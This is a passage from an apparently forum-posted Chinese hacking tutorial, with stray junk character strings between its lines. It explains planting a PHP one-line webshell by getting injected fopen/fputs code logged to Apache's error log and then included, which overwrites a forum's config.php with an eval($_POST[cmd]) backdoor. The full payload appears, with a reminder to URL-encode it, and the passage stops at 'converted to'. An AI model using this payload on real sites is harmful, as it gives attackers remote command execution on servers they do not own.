因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 $ z$ l: r+ Z4 J9 p
( q H/ k2 a% v8 d0 [
比如还是这句一句话木马
3 i" ~' w) G' L. H: T7 V9 \<?eval($_POST[cmd]);?> & y" |( z2 B% s# r+ u/ J" Y
$ O# a# l/ {: e, m
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
& n- `0 N: M0 L+ G, o2 t, Zfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: ^6 B3 Z2 Q2 ]. q
2 f0 {$ B4 ^3 b# x; G% H<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
9 ]. h4 |9 C8 f. R% r+ s: V7 pfclose($fp);?> //在config.php里写入一句木马语句 - {1 s$ W4 f# z3 ~
/ p/ Y* x4 I% d) s2 t我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
( y: r8 C8 l2 E/ D: w转换为
